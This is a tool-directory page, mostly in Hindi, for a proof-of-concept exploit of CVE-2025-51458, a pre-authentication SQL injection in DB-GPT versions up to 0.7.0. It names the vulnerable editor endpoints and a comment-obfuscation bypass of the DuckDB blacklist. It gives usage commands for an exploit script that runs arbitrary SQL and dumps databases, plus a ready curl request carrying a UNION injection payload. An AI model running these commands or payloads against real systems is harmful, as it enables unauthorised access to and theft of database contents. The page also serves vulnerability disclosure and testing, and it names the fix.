Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-51458-exp — CVE-2025-51458 - DB-GPT पूर्व-प्रमाणीकरण SQL इंजेक्शन PoC | Kitploit
उपकरण/GitHubGitHub/q1uf3ng/cve-2025-51458-exp
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षा
GitHubq1uf3ng/cve-2025-51458-exp

CVE-2025-51458-exp

CVE-2025-51458 - DB-GPT पूर्व-प्रमाणीकरण SQL इंजेक्शन PoC

रिपॉजिटरी देखें
1246 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-51458-exp

DB-GPT <= 0.7.0 में प्री-ऑथ SQL इंजेक्शन

अवलोकन

/api/v1/editor/sql/run और /api/v1/editor/chart/run एंडपॉइंट बिना प्रमाणीकरण के मनमाना SQL स्वीकार करते हैं। sanitize_sql ब्लैकलिस्ट केवल DuckDB को कवर करती है; MySQL, PostgreSQL, और SQLite कनेक्शन बिना किसी फ़िल्टरिंग के रॉ यूज़र इनपुट प्राप्त करते हैं। DuckDB ब्लैकलिस्ट को कमेंट अस्पष्टता (SEL/**/ECT) के माध्यम से बायपास किया जा सकता है।

यह CVE-2024-10835 और CVE-2024-10901 का बायपास है।

  • CVSS: 6.5 (मध्यम)
  • Type: CWE-89 (SQL इंजेक्शन)
  • Auth: कोई आवश्यकता नहीं (प्री-ऑथ)
  • Affected: DB-GPT <= 0.7.0
  • Fixed: PR #2650

उपयोग

# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>

त्वरित PoC

curl -X POST "http://target:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'

संदर्भ

  • NVD
  • Gecko Security Blog
  • Fix PR #2650
टूल डाउनलोड करें